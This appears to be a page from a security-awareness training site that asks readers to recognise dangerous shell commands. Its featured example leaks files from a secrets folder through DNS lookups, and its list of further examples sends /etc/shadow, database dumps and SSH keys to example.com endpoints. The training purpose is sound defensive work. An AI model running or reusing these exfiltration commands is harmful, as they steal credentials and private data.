Dangerous
for f in ./secrets/*; do host "$(base64 -w0 "$f" | head -c 60).lookup.example.com"; donelinux · bash · Nightmare
Encodes local files and leaks them one DNS query at a time to a domain the operator controls. There is no HTTP request and no outbound connection a proxy would log, because DNS resolution is usually permitted even where everything else is blocked.
Signals to notice
- File contents encoded into DNS lookups
- Uses a channel that egress filtering rarely blocks
- Iterates over a directory of secrets
Think you can spot these under time pressure?
Start TrainingMore Data Exfiltration
curl -X POST --data-binary @/etc/shadow https://example.com/collectAdvancedtar -czf - /home/deploy/.ssh | openssl enc -aes-256-cbc -pbkdf2 -out /tmp/.kAdvancedmysqldump -u root -p"$DBPASS" --all-databases | curl -T - https://example.com/uploadExpertaws s3 cp s3://example-backups/db.sql - | gzip | curl -T - https://example.com/dropNightmarefind /var/www -name '*.php' -newermt '-2 days' -exec sh -c 'mkdir -p /tmp/.s && cp "$1" /tmp/.s/' _ {} \;Nightmarepg_dump -h db.example.internal appdb | ssh deploy@bastion.example.com 'cat > /srv/appdb.sql'Advanced